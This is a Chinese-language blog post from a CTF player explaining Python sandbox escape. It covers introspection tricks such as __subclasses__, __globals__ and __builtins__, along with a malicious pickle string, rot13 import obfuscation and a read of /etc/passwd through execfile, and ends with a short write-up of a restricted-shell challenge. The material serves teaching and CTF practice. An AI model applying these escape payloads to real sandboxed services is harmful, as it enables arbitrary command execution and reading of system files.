Ywc's blog

python沙箱逃逸

Word count: 3kReading time: 13 min
2018/11/08

python 沙盒逃逸

python 绕过沙盒中常见的函数、属性、模块解释(备忘)

1.func_globals

返回包含函数全局变量的字典的引用————————定义函数的模块的全局命名空间。
function.func_globals

1
2
3
4
>>> def foo(): pass
...
>>> foo.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'foo': <function foo at 0x7f3a056c7938>, '__doc__': None, '__package__': None}

2.__getattribute__
被调用无条件地实现类的实例的属性访问。
object. getattribute(self, name)
1)self 必需的。类的实例,在调用时自动传递。
2)name 必需的。属性的名称。
‘’.class.mro[2].subclasses()[59].init.getattribute(‘func_globals’)

3.__dict__
模块对象有一个由dictionary对象实现的名称空间(这是由模块中定义的函数的func_globals属性引用的字典)。属性引用在本词典中被翻译为查找,例如,
m.x相当于m.dict [“x”]。

1
2
3
4
5
>>> ''.__class__.__dict__['upper']  
<method 'upper' of 'str' objects>

>>> ''.__class__.upper
<method 'upper' of 'str' objects>

4.dir()
将显示对象的属性的名称,__dict__是dir()的子集
dir ([object])

1
2
>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

5.__base__
每个类都有一个__base__属性能列出器基类
注意:base 和 __bases__的区别
他们都是返回当前类的基类,只不过__bases__返回的是一个元祖

1
2
3
4
5
>>> ''.__class__.__base__
<type 'basestring'>

>>> ''.__class__.__bases__
(<type 'basestring'>,)

6.__mro__
递归地显示父类一直到 object

1
2
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

7.__subclasses__()[]
获取子类

1
2
>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

8.__import__
import 一个模块
import (name)

1
2
>>> __import__('os')
<module 'os' from '/usr/lib/python2.7/os.pyc'>

9.__bulitin__
Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins。
10.__builtins__
是对内建模块的一个引用
这个和__builtin__有一些区别

1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用

2)__builtins__虽是对内建模块的引用,但这个引用要看是使用__builtins__的模块是哪个模块

1
2
3
4
5
① 在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此

② 在__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典。

11.reload
重新加载之前导入的模块
reload (module)

1
2
3
4
>>> import sys

>>> reload(sys)
<module 'sys' (built-in)>

12.getattr
返回对象的命名属性的值。
getattr (object, name)
相当于 object.name
name 必须是一个字符串

1
2
3
4
5
6
7
8
>>> class A():
... bar =1
...

>>> a = A()

>>> getattr(a,'bar')
1

13.__getattr__
当属性查找没有在通常的位置找到属性时调用(例如,它不是实例属性,也不是在类树中找到self)
14.__name__
这个值获得的只是一个字符串,不是模块的引用
要使用sys.modules[name]才获得的是模块的引用

1
2
>>> sys.modules['__main__']
<module '__main__' (built-in)>

15.func_code
返回表示已编译函数体的代码对象。

1
2
3
4
5
6
7
8
function.func_code

>>> def foo():
... a=1
...

>>> foo.func_code
<code object foo at 0x7f3a0570d930, file "<stdin>", line 1>

注意:这个代码对象必须存在几个参数

co_argcount 这个参数是返回该函数的参数

1
2
>>> foo.func_code.co_argcount
0

co_code 返回函数的字节码(可用dis.dis(字节码)将其转换为汇编格式

1
2
>>> foo.func_code.co_code
'd\x01\x00}\x00\x00d\x00\x00S'

16.timeit 模块
这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
使用前需要导入timeit

使用:

timeit(命令,number=1)

1
2
>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)

其中命令是字符串的形式
17.platform 模块
由名字可以知道这个模块和平台有关,里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令

1
print platform.popen('命令',mode='r',bufsize= -1).read()

18.__globals__
function.__globals__ 等同于globals(),dir() 的结果是上面两个的键值
在fuzz 中常常和 __init__配合使用,__init__ 一般跟在类的后面,相当于实例化这个类

1
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

19.__call__
使实例能够像函数一样被调用
x.call 等同于 x()

1
2
>>> func.__call__
<method-wrapper '__call__' of function object at 0x7f3a056c7e60>

20.pickle
这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化

基本的语法:
序列化:

1
2
3
import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)

反序列化:

1
n=pickle.loads(p)

我们可以通过 pickle 的方式加载命令

1
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

21.os/subprocess/commands

1
2
3
4
5
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

这里重点说一下subprocess 吧

  • 1.subprocess.run()
    Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
  • 2.subprocess.call()
    执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
  • 3.subprocess.check_call()
    Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
  • 4.subprocess.check_output()
    Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
  • 5.subprocess.getoutput(cmd)
    接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
  • 6.subprocess.getstatusoutput(cmd)
    执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

22.eval/exec/execfile

  • 1.eval(expression):
    返回python 表达式执行的结果
  • 2.exec(source)
    动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None。
  • 3.execfile(filename)
    执行一个文件的内容
    文件是将被解析为python序列的类似于模块的文件

23.importlib模块

1
2
import importlib
importlib.import_module(module)

他可以代替import 非常好

python沙箱逃逸概述

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制(waf),最终成功拿到shell权限的过程

python 能执行命令或者存在执行命令功能的函数是一定的,但是他的存在形式是多样的,他过滤了这种形式我们就换一种形式表示。

对于python的沙箱逃逸而言,我们来实现目的的最终想法有以下几个

  • 使用os包中的popen,system两个函数来直接执行shell
  • 使用commands模块中的方法
  • 使用subprocess
  • 使用写文件到指定位置,再使用其他辅助手段,总体来说,我们使用以下几个函数,就可以直接愉快的拿到shell啦!
1
2
3
4
5
6
7
8
9
10
import os
import subprocess
import commands

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

攻击思路

1.直接引入执行命令的模块os等

遭遇过滤:

re.compile('import\s+(os|commands|subprocess|sys)')
  • 不直接使用import用__import__()取而代之
    遭遇过滤:__import__(module)

  • 不直接用__import__(module) 转换编码
    __import__("pbzznaqf".decode('rot_13'))
    遭遇过滤__import__

2.不用__import__直接调用内建函数__bulitin__/__bulitins__
常见的一些危险的函数都是__builtin__里面的,我们可以直接用 eval() exec() execfile()
遭遇过滤:把__builtin__ 中的危险函数都del掉,看你怎么绕

3.reload()函数重新加载完整的没有阉割的__builtin__
reload(__builtin__)
遭遇过滤:reload()也是一个内建函数,如果我们在__builtin__中把reload()也del掉呢?

4.imp模块也是一个可以引入东西的一个模块

1
2
import imp
imp.reload(__builtin__)

再次成功引入
遭遇过滤:看来还是没有从源头del干净,我们知道python 的模块其实都存放在sys.modules中,不要啥就删啥。
sys.modules['os']=None
这样就ok了

5.这回问题有点棘手,要知道如何应对还要仔细分析一下import的步骤
import 的步骤:
1)如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
2)如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中
那我们可以向更源头追溯
我们都知道任何的模块归根道理都是文件,只要文件还在,我们就一定有办法!
比如类unix 的系统中,os 模块的路径一般都是/usr/lib/python2.7/os.py,那我们就直接写这个

1
2
3
import sys
sys.modules['os'] = '/usr/lib/python2.7/os.py'
import os

遭遇过滤:我把你sys也一并del,让你用!哼

6.和上面一样的思路,文件还在我们就直接用文件,import 的本质就是把对应的模块文件执行一遍

1
2
execfile('/usr/lib/python2.7/os.py')
system('cat /etc/passwd')

遭遇过滤:execfile() 别用了

7.直接用文件读取函数读入文件,然后再exec() 也能实现一样的效果

一些题目

XMAN2018 minbash //SUSCTF-2018

题解:

ssh连接后发现命令均显示:-rbash: clear: command not found

我们可以尝试python里面的库去执行,用的是os库里面的listdir函数

1
2
3
4
5
6
7
import os
os.listdir('.') //得到当前目录的结果为 ['.bash_logout', '.profile', '.bashrc', 'bin', 'c8049f64c8080af25f414b15cb6f80c3']

os.path.isfile('c8049f64c8080af25f414b15cb6f80c3') 检测是否为文件

f = open('c8049f64c8080af25f414b15cb6f80c3','rb')
f.read() //即可读到flag
CATALOG
  1. 1. python 沙盒逃逸
    1. 1.1. python 绕过沙盒中常见的函数、属性、模块解释(备忘)
    2. 1.2. python沙箱逃逸概述
    3. 1.3. 攻击思路
  2. 2. 一些题目
    1. 2.1. XMAN2018 minbash //SUSCTF-2018